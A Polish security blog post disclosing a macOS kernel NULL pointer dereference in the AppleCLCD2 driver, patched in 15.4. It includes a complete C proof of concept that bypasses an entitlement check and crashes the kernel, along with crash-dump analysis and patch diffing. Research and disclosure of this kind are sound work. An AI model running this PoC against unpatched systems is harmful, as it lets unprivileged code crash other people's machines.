Studium przypadku: Dereferencja wskaźnika NULL w IOMobileFramebuffer

W moim poprzednim artykule History of NULL Pointer Dereferences on macOS opisałem, w jaki sposób Apple wdraża liczne mechanizmy zabezpieczające, utrudniające wykorzystanie błędów związanych z dereferencją wskaźnika NULL. Wspomniałem wtedy, że podczas fuzzowania odkryłem jedną z takich podatności. Niniejszy tekst jest rozszerzeniem tamtego wpisu — dziś przedstawię szczegóły odnalezionej podatności oraz sposób, w jaki Apple rozwiązało ten problem.
Miłej lektury!
Ogólny przegląd problemu
Odkryłem podatność typu NULL Pointer Dereference w sterowniku AppleCLCD2 w systemie macOS — konkretnie w metodzie zewnętrznej IOMobileFramebufferUserClient::s_swap_submit
(selector 5).

Problem dotyczył dwóch kluczowych elementów:
- Ominięcie sprawdzania uprawnień (Entitlement Check Bypass): Umieszczenie pojedynczego bajtu o wartości zero pod offsetem
0x3F0
w przesyłanym buforze pozwalało niezaufanym aplikacjom ominąć sprawdzanie uprawnieniacom.apple.private.gain-map-access
. - Wywołanie korupcji pamięci i paniki kernela (Memory Corruption Trigger) Wstawienie czterech zerowych bajtów pod offsetem
0x430
powodowało zmylenie mechanizmu walidacji pamięci w sterowniku, co prowadziło do dereferencji wskaźnika NULL i wywołania kernel panic.
Apple naprawiło ten błąd w wersji macOS 15.4, jednak zrobiło to po cichu — bez przypisania CVE i bez oficjalnego uznania zgłoszenia. Potraktowano ten problem jako klasyczny przypadek Denial of Service, a nie podatność o charakterze bezpieczeństwa.
Proof of Concept Payload
Poniższy payload w formie bufora o długości 1300 bajtów pozwala w niezawodny sposób wywołać błąd:
<code>payload = bytearray([0x41]*0x3F0) <em># Fill with 'A' characters</em>
payload += bytearray([0x00]) <em># Bypass at offset 0x3F0</em>
payload += bytearray([0x42]*7 + [0x43]*8 + [0x44]*48) <em># Padding</em>
payload += bytearray([0x00, 0x00, 0x00, 0x00]) <em># Crash trigger at offset 0x430</em>
payload += bytearray([0x46]*(1300-len(payload))) <em># Fill remaining space</em></code>
Code language: HTML, XML (xml)
Payload jest w rzeczywistości prostszy niż wygląda — wystarczy wysłać 0x3F0 bajtów dowolnej wartości, potem jeden bajt o wartości zero, a następnie cztery kolejne zera pod offsetem 0x430.
Proof of Concept Code
Pełny kod C wywołujący błąd i powodujący kernel panic:
/* AppleCLCD2_PoC.c by Karol Mazurek (@karmaz95)
Minimal demonstration that calls AppleCLCD2 selector=5 with a crafted 1300-byte input to:
- bypass the entitlement check
- and trigger a kernel crash due to zalloc_uaf_panic.
Compile example (macOS):
clang -o clcd2_poc AppleCLCD2_PoC.c -framework IOKit
Run:
./clcd2_poc
Expectation: system may panic due to zalloc_uaf_panic.
*/
#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Service name and selector
#define SERVICE_NAME "AppleCLCD2"
#define SERVICE_TYPE 0
#define SELECTOR 5
// The payload size must be 1300 (UserClient except inputStruct == 1300).
#define PAYLOAD_SIZE 1300
// Offsets of interest in the 1300-byte buffer.
#define OFFSET_BYPASS 0x3F0 // Byte that must be zero to skip entitlement check
#define OFFSET_CRASH 0x430 // Four bytes at 0x430 must be zero to trigger the crash (zalloc_uaf_panic)
static io_connect_t open_service(const char *name, uint32_t type);
int main(void)
{
// 1) Open AppleCLCD2
io_connect_t conn = open_service(SERVICE_NAME, SERVICE_TYPE);
if (!conn) {
return 1;
}
// 2) Create the 1300-byte payload
unsigned char *payload = (unsigned char*)calloc(PAYLOAD_SIZE, 1);
if (!payload) {
fprintf(stderr, "[-] Failed to allocate payload buffer\n");
IOServiceClose(conn);
return 2;
}
// Fill everything with 0x41
memset(payload, 0x41, PAYLOAD_SIZE);
// Put zero at 0x3F0 (bypass entitlement check).
payload[OFFSET_BYPASS] = 0x00;
// Put four zeros at 0x430 to provoke the crash.
memset(payload + OFFSET_CRASH, 0x00, 4);
printf("[*] Prepared a 1300-byte payload. Bypass offset=0x%X, crash offset=0x%X\n",
OFFSET_BYPASS, OFFSET_CRASH);
// 3) Call selector 5 with this payload
kern_return_t kr;
size_t inputStructCnt = PAYLOAD_SIZE;
kr = IOConnectCallMethod(conn,
SELECTOR,
NULL, 0,
payload, inputStructCnt,
NULL, NULL,
NULL, NULL);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOConnectCallMethod(%s, %u) returned 0x%x (%s)\n",
SERVICE_NAME, SELECTOR, kr, mach_error_string(kr));
} else {
printf("[*] Call succeeded. If the driver is vulnerable, a panic may occur soon.\n");
}
// Cleanup
free(payload);
IOServiceClose(conn);
return 0;
}
// ----------------------------------------------------------------------
// Open a named IOService, returns io_connect_t or 0 on error.
static io_connect_t open_service(const char *name, uint32_t type)
{
io_service_t svc = IOServiceGetMatchingService(kIOMainPortDefault,
IOServiceMatching(name));
if (!svc) {
fprintf(stderr, "[-] No service named '%s'\n", name);
return 0;
}
io_connect_t conn = 0;
kern_return_t kr = IOServiceOpen(svc, mach_task_self(), type, &conn);
IOObjectRelease(svc);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOServiceOpen(%s) = 0x%x (%s)\n",
name, kr, mach_error_string(kr));
return 0;
}
return conn;
}
Code language: PHP (php)
Kod powinien działać (wywoływać błąd) w macOS przed wersją 15.4 (przetestowano dla 15.3.2).
Jak odkryto podatność
Buduję własny fuzzer do sterowników macOS i odtwarzam (reverse engineering) sposób działania ich metod zewnętrznych. Na ten moment jest to „głupi fuzzer”, który wymaga podania: nazwy sterownika, typu połączenia, numeru selektora oraz oczekiwanych wartości wejściowych. Mój typowy workflow jest następujący:
- Odnajduję metodę
newUserClient
np.IOMobileFramebufferAP::newUserClient
- Analizuję ją i sprawdzam jakie typy połączeń obsługuje (większość sterowników akceptuje dowolną wartość)
- Identyfikuję metodę
externalMethod
dla danego typu połączenia, np.IOMobileFramebufferUserClient::externalMethod
- Analizuję obsługiwane selektory i ich wartości
Później zapisuję te informacje w formacie YAML obsługiwanym przez mojego fuzzera, np.:
IOMobileFramebufferAP: # (AppleCLCD2) IOMobileFramebufferAP::newUserClient (proxied to IOMobileFramebufferLegacy)
0: # IOMobileFramebufferUserClient::externalMethod
0: [3, 0, 0, 0]
1: [0, 0, 0, 0]
2: [0, 0, 0, 0]
3: [2, 0, 1, 0]
4: [0, 0, 1, 0]
5: [0, 1300, 0, 0] # Vulnerable to Null Pointer Dereference
Code language: CSS (css)
Uruchamiam fuzzer i zajmuję się czymś innym, czekając na ewentualny crash. Stworzyłem nawet prostą aplikację, która informuje mnie o wykrytym crashu przez Telegrama — ale to temat na osobny artykuł.
Crash!
Gdy natrafiłem na crash w sterowniku AppleCLCD2, zwróciły moją uwagę wartości rejestrów:
<code>panic(cpu 2 caller 0xfffffe0008fe9964): Kernel data abort. at pc 0xfffffe001fe728c4
x0: 0x0000000000000000 x1: 0x0000000000000003
esr: 0x7373657296000006 far: 0x0000000000000000</code>
Code language: HTML, XML (xml)
Zerowe wartości w rejestrach
x0
ifar
to klasyczne symptomy dereferencji wskaźnika NULL. Crash wystąpił w funkcjizalloc_validate_element
, co sugeruje naruszenie integralności pamięci.
Analiza przebiegu wykonania kodu
Załadowałem pamięć podręczną jądra do IDA i odnalazłem obsługę selektora. Przebieg wykonania kodu wygląda następująco:
┌────────────┐
│ User Space │
│ (./poc) │
└────┬───────┘
│
│ IOConnectCallMethod(..., selector=5, inputSize=1300, ...)
▼
┌────────────────────────────┐
│ s_swap_submit (wrapper) │
│ - Checks entitlements │
│ - Reads internal pointers │
│ - Calls swap_submit(...) │
└────────────┬───────────────┘
▼
┌────────────────────────────┐
│ swap_submit │
│ - Verifies input== 1300 │
│ - Retrieves v5() pointer │
│ - Calls v5() function │
└────────────┬───────────────┘
▼
┌────────────────────────────────────────────────┐
│ v5() → IOMobileFramebufferLegacy::swap_submit │
│ - Reads swapID, enabled, completed from input │
│ - Calls a driver function │ <-- CRASH OCCURS HERE - it
│ - Logs "IOMFB_SWAP_SUBMIT_LOST" │
└────────────────────────────────────────────────┘
Code language: JavaScript (javascript)
Wrażliwy kod w ścieżce sprawdzania uprawnień został pokazany poniżej. Poprzez wyzerowanie bajtu na offsetcie 0x3F0, tworzymy sytuację, w której *(v6 + 1008) przyjmuje wartość 0, całkowicie pomijając sprawdzenie uprawnień.
if (v6 && *(v6 + 1008) &&
!IOMobileFramebufferUserClient::isEntitlementSet(
"com.apple.private.gain-map-access", this[29], a3)) {
return 0xE00002C1LL;
}
Code language: JavaScript (javascript)
Problem z dereferencją wskaźnika NULL występuje w innym miejscu i nie udało mi się go osiągnąć w IDA.
Core Dump
Aby namierzyć miejsce awarii, wyłączyłem mechanizmy ochrony SIP (System Integrity Protection) i ustawiłem parametry rozruchowe nvram:
nvram boot-args="debug=0xCC44 wdt=-1"
Code language: JavaScript (javascript)
Dzięki temu możliwe było wygenerowanie pełnego zrzutu pamięci jądra (core dump). Następnie uruchomiłem przygotowany exploit (PoC), poczekałem aż system się zawiesi (kernel panic), a po restarcie załadowałem core dump do debuggera LLDB:
lldb -c YYYY-MM-DD-TIME.kernel.core
Code language: CSS (css)
W zrzucie pamięci (core dump) udało się odczytać stan rejestrów oraz instrukcji w chwili awarii (fragment logów z LLDB). Rejestry oraz instrukcje w chwili awarii:
(lldb) reg read
General Purpose Registers:
x0 = 0x0000000000000000
x1 = 0x0000000000000000
x2 = 0x0000000000000000
x3 = 0x0000000000000000
x4 = 0xfffffe24ccb0a980
x5 = 0xb6fb7e002422e308 (0xfffffe002422e308) kernel.release.t6000`OSArray::initWithObjects(OSObject const**, unsigned int, unsigned int) at OSArray.cpp:84
x6 = 0x0000000000000000
x7 = 0xfffffe00274ba960
x8 = 0x0000000000000040
x9 = 0x0000000000000000
x10 = 0xfffffe10007b9f10
x11 = 0x0000000000000001
x12 = 0x000000000000000e
x13 = 0x0000000000003570
x14 = 0x0000000000000010
x15 = 0xfffffe00274cfb80 kernel.release.t6000`audio_active + 40064
x16 = 0xfffffe00230c1650 kernel.release.t6000`vtable for OSCollectionIterator::MetaClass + 184
x17 = 0x1601fe00230c1650
x18 = 0x0000000000000000
x19 = 0xfffffe00274d4b00 kernel.release.t6000`audio_active + 60416
x20 = 0x00000000000d1004
x21 = 0x0000000000000030
x22 = 0xfffffe24cccdf8e0
x23 = 0xfffffe1666c57ab0
x24 = 0x0000000000000000
x25 = 0x0000000000000030
x26 = 0xfffffe002752d000 kernel.release.t6000`_NSConcreteFinalizingBlock + 232
x27 = 0xfffffe0027536998 kernel.release.t6000`IOPowerConnection::gMetaClass
x28 = 0x0000000000000001
fp = 0xfffffe5000a5bc00
lr = 0xfce7fe0023c24754 (0xfffffe0023c24754) kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
sp = 0xfffffe5000a5bbd0
pc = 0xfffffe0023c24754 kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
cpsr = 0x40401208
(lldb) di
kernel.release.t6000`zalloc_ext:
0xfffffe0023c246a4 <+0>: pacibsp
0xfffffe0023c246a8 <+4>: stp x24, x23, [sp, #-0x40]!
0xfffffe0023c246ac <+8>: stp x22, x21, [sp, #0x10]
0xfffffe0023c246b0 <+12>: stp x20, x19, [sp, #0x20]
0xfffffe0023c246b4 <+16>: stp x29, x30, [sp, #0x30]
0xfffffe0023c246b8 <+20>: add x29, sp, #0x30
0xfffffe0023c246bc <+24>: mov x20, x2
0xfffffe0023c246c0 <+28>: mov x22, x1
0xfffffe0023c246c4 <+32>: mov x19, x0
0xfffffe0023c246c8 <+36>: mrs x8, TPIDR_EL1
0xfffffe0023c246cc <+40>: ldr w9, [x8, #0x1b0]
0xfffffe0023c246d0 <+44>: add w9, w9, #0x1
0xfffffe0023c246d4 <+48>: str w9, [x8, #0x1b0]
0xfffffe0023c246d8 <+52>: ldr x10, [x0, #0x40]
0xfffffe0023c246dc <+56>: cbz x10, 0xfffffe0023c24810 ; <+364> at zalloc.c:6988:9
0xfffffe0023c246e0 <+60>: ldrh w9, [x8, #0x1a0]
0xfffffe0023c246e4 <+64>: lsl x9, x9, #14
0xfffffe0023c246e8 <+68>: add x3, x9, x10
0xfffffe0023c246ec <+72>: ldrh w10, [x3, #0x4]
0xfffffe0023c246f0 <+76>: cbz w10, 0xfffffe0023c247bc ; <+280> [inlined] zalloc_cached_get_pcpu_cache at zalloc.c:6897:6
0xfffffe0023c246f4 <+80>: ldrh w21, [x19, #0x34]
0xfffffe0023c246f8 <+84>: ldr x10, [x9, x22]
0xfffffe0023c246fc <+88>: add x10, x10, x21
0xfffffe0023c24700 <+92>: str x10, [x9, x22]
0xfffffe0023c24704 <+96>: ldrh w9, [x3, #0x4]
0xfffffe0023c24708 <+100>: sub w9, w9, #0x1
0xfffffe0023c2470c <+104>: strh w9, [x3, #0x4]
0xfffffe0023c24710 <+108>: and x9, x9, #0xffff
0xfffffe0023c24714 <+112>: ldr x10, [x3, #0x8]
0xfffffe0023c24718 <+116>: lsl x9, x9, #3
0xfffffe0023c2471c <+120>: ldr x22, [x10, x9]
0xfffffe0023c24720 <+124>: str xzr, [x10, x9]
0xfffffe0023c24724 <+128>: ldr w9, [x8, #0x1b0]
0xfffffe0023c24728 <+132>: cbz w9, 0xfffffe0023c247e4 ; <+320> [inlined] _enable_preemption at preemption_disable.c:196:3
0xfffffe0023c2472c <+136>: subs w9, w9, #0x1
0xfffffe0023c24730 <+140>: str w9, [x8, #0x1b0]
0xfffffe0023c24734 <+144>: b.ne 0xfffffe0023c24744 ; <+160> [inlined] zalloc_validate_element at zalloc.c:3159:6
0xfffffe0023c24738 <+148>: ldr x8, [x8, #0x1a8]
0xfffffe0023c2473c <+152>: ldrb w8, [x8, #0x4c]
0xfffffe0023c24740 <+156>: tbnz w8, #0x2, 0xfffffe0023c247e8 ; <+324> [inlined] _enable_preemption_write_count at preemption_disable.c:103:11
0xfffffe0023c24744 <+160>: tbnz w20, #0xe, 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c24748 <+164>: mov x0, x22
0xfffffe0023c2474c <+168>: mov x1, x21
0xfffffe0023c24750 <+172>: bl 0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
-> 0xfffffe0023c24754 <+176>: cbnz x0, 0xfffffe0023c24840 ; <+412> [inlined] zalloc_validate_element at zalloc.c:3163:3
0xfffffe0023c24758 <+180>: tbnz w20, #0xd, 0xfffffe0023c24784 ; <+224> [inlined] zpercpu_count at zalloc.c:2888:9
0xfffffe0023c2475c <+184>: mov x0, x19
0xfffffe0023c24760 <+188>: mov x1, x22
0xfffffe0023c24764 <+192>: nop
0xfffffe0023c24768 <+196>: mov x0, x22
0xfffffe0023c2476c <+200>: mov x1, x21
0xfffffe0023c24770 <+204>: ldp x29, x30, [sp, #0x30]
0xfffffe0023c24774 <+208>: ldp x20, x19, [sp, #0x20]
0xfffffe0023c24778 <+212>: ldp x22, x21, [sp, #0x10]
0xfffffe0023c2477c <+216>: ldp x24, x23, [sp], #0x40
0xfffffe0023c24780 <+220>: retab
0xfffffe0023c24784 <+224>: adrp x8, -3108
0xfffffe0023c24788 <+228>: ldr w23, [x8, #0x5d0]
0xfffffe0023c2478c <+232>: mov x20, x22
0xfffffe0023c24790 <+236>: subs x23, x23, #0x1
0xfffffe0023c24794 <+240>: b.eq 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c24798 <+244>: add x20, x20, #0x4, lsl #12 ; =0x4000
0xfffffe0023c2479c <+248>: mov x0, x20
0xfffffe0023c247a0 <+252>: mov x1, x21
0xfffffe0023c247a4 <+256>: bl 0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
0xfffffe0023c247a8 <+260>: cbz x0, 0xfffffe0023c24790 ; <+236> [inlined] zalloc_validate_element + 12 at zalloc.c:3166:36
0xfffffe0023c247ac <+264>: mov x0, x19
0xfffffe0023c247b0 <+268>: mov x1, x20
0xfffffe0023c247b4 <+272>: mov x2, x21
0xfffffe0023c247b8 <+276>: bl 0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
0xfffffe0023c247bc <+280>: ldrh w10, [x3, #0x6]
0xfffffe0023c247c0 <+284>: cbz w10, 0xfffffe0023c247f4 ; <+336> at zalloc.c
0xfffffe0023c247c4 <+288>: ldr x11, [x3, #0x30]
0xfffffe0023c247c8 <+292>: cbnz x11, 0xfffffe0023c247f4 ; <+336> at zalloc.c
0xfffffe0023c247cc <+296>: strh w10, [x3, #0x4]
0xfffffe0023c247d0 <+300>: strh wzr, [x3, #0x6]
0xfffffe0023c247d4 <+304>: ldur q0, [x3, #0x8]
0xfffffe0023c247d8 <+308>: ext.16b v0, v0, v0, #0x8
0xfffffe0023c247dc <+312>: stur q0, [x3, #0x8]
0xfffffe0023c247e0 <+316>: b 0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15
0xfffffe0023c247e4 <+320>: bl 0xfffffe002441db88 ; _enable_preemption_underflow at preemption_disable.c:173
0xfffffe0023c247e8 <+324>: bl 0xfffffe0023d060c8 ; kernel_preempt_check at preemption_disable.c:68
0xfffffe0023c247ec <+328>: tbz w20, #0xe, 0xfffffe0023c24748 ; <+164> [inlined] zalloc_validate_element + 4 at zalloc.c:3162:6
0xfffffe0023c247f0 <+332>: b 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c247f4 <+336>: mov x21, x9
0xfffffe0023c247f8 <+340>: mov x0, x19
0xfffffe0023c247fc <+344>: mov x1, #0x0 ; =0
0xfffffe0023c24800 <+348>: mov x2, x20
0xfffffe0023c24804 <+352>: mov x23, x8
0xfffffe0023c24808 <+356>: bl 0xfffffe0023c24860 ; zalloc_cached_prime at zalloc.c:6839
0xfffffe0023c2480c <+360>: cbnz x0, 0xfffffe0023c24850 ; <+428> at zalloc.c
0xfffffe0023c24810 <+364>: mov x0, x19
0xfffffe0023c24814 <+368>: mov x1, x22
0xfffffe0023c24818 <+372>: mov x2, x20
0xfffffe0023c2481c <+376>: ldp x29, x30, [sp, #0x30]
0xfffffe0023c24820 <+380>: ldp x20, x19, [sp, #0x20]
0xfffffe0023c24824 <+384>: ldp x22, x21, [sp, #0x10]
0xfffffe0023c24828 <+388>: ldp x24, x23, [sp], #0x40
0xfffffe0023c2482c <+392>: autibsp
0xfffffe0023c24830 <+396>: eor x16, x30, x30, lsl #1
0xfffffe0023c24834 <+400>: tbz x16, #0x3e, 0xfffffe0023c2483c ; <+408> at zalloc.c:6988:9
0xfffffe0023c24838 <+404>: brk #0xc471
0xfffffe0023c2483c <+408>: b 0xfffffe0023c24df4 ; zalloc_item at zalloc.c:6683
0xfffffe0023c24840 <+412>: mov x0, x19
0xfffffe0023c24844 <+416>: mov x1, x22
0xfffffe0023c24848 <+420>: mov x2, x21
0xfffffe0023c2484c <+424>: bl 0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
0xfffffe0023c24850 <+428>: mov x8, x23
0xfffffe0023c24854 <+432>: mov x3, x0
0xfffffe0023c24858 <+436>: mov x9, x21
0xfffffe0023c2485c <+440>: b 0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15
Code language: HTML, XML (xml)
Wszystko wskazuje na to, że nasz payload wprowadza sterownik w błąd, zmuszając go do przekazania wskaźnika o wartości NULL do funkcji walidującej pamięć. To z kolei powoduje, że funkcja zalloc_validate_element działa niepoprawnie — rozpoznaje sytuację jako błąd użycia już zwolnionej pamięci (use-after-free) i wywołuje panic systemu zalloc_uaf_panic
:
void zalloc_validate_element(zone_t zone, void *element) {
if (memcmp_zero_ptr_aligned(element, zone->elem_size)) {
zalloc_uaf_panic(zone, element); // Triggers controlled panic
}
}
Code language: JavaScript (javascript)
Na tym etapie zdecydowałem się zgłosić ten problem do Apple jako podatność typu Denial of Service (DoS).
Naprawa podatności
Aby sprawdzić w jaki sposób Apple załatało ten błąd, zdekompresowałem Kernel Cache z systemu macOS 15.4 i załadowałem go do IDA:
ipsw kernel dec $(ls /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache) -o kernelcache
ida kernelcache.decompressed
Code language: JavaScript (javascript)
W IDA przechodzimy do funkcji IOMobileFramebufferUserClient::externalMethod
i znajdujemy tablicę dispatchującą selektory (selectors dispatch array):

Następnie dla selektora nr 5 sprawdzamy przypisaną funkcję obsługi wykorzystując przedstawione wcześniej rozszerzenie IDA. Możemy do niej przejść poprzez dwukrotne kliknięcie odnośnika:

Porównując nową wersję kodu (po poprawce) ze starą, widać, że sprawdzenie uprawnień (entitlement check) zostało poprawione. Warunek jest teraz bardziej rygorystyczny — sprawdzany jest konkretny przypadek == 1 zamiast tylko != 0:

Logika funkcji swap_submit
pozostała niezmieniona, jednak prawdopodobnie zmiany dotknęły funkcję, której nie analizowałem, mianowicie v5()
.

Zatem poprawka naprawiająca podatność NULL Pointer Dereference dotyczyła prawdopodobnie funkcji wywoływanej przez
v5()
.
Podsumowanie
Szczerze mówiąc, byłem nieco rozczarowany, że nie otrzymałem żadnego uznania za to odkrycie — ale cóż, tak już bywa 😀 Apple po cichu załatało lukę w systemie macOS w wersji 15.4, ale przynajmniej pozwolili mi opisać cały przypadek publicznie.

Jeśli ktokolwiek z czytających znajdzie lepszy sposób na wykorzystanie tej podatności niż zwykłe wywołanie NULL Pointer Dereference — koniecznie dajcie mi znać! Ten case study ma przede wszystkim charakter edukacyjny — kierowany jest do osób zainteresowanych debugowaniem jądra systemu, inżynierią wsteczną oraz analizą bezpieczeństwa.
Jeśli ten wpis Cię zainteresował i jeżeli interesujesz się cyberbezpieczeństwem, zachęcam do regularnych odwiedzin naszego bloga AFINE, na którym regularnie pojawiają się nowe, wartościowe materiały. Jeśli interesuje Cię bezpieczeństwo systemu macOS, koniecznie dodaj do zakładek repozytorium Snake_Apple, gdzie w jednym miejscu znajdziesz wszystkie moje artykuły.
Mam nadzieję, że udało Ci się dowiedzieć czegoś nowego!